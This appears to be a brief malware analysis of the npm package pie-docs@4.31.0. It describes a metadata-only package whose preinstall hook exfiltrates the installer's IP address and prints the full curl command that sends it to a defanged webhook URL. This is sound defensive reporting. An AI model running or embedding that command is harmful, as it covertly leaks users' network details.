pie-docs@4.31.0

Analysis

A metadata-only attack package masquerading as a documentation module: the tarball is only 372 bytes and ships nothing but a package.json with a malicious preinstall hook. On install the hook runs `/usr/bin/curl --data "ip=$(sh -c 'hostname -I')" hxxps://webhook-test[.]com/0c3ba7837882ab803c265c52e2dd8cea`, collecting the installer's local IP address and exfiltrating it via HTTP POST to a collector endpoint.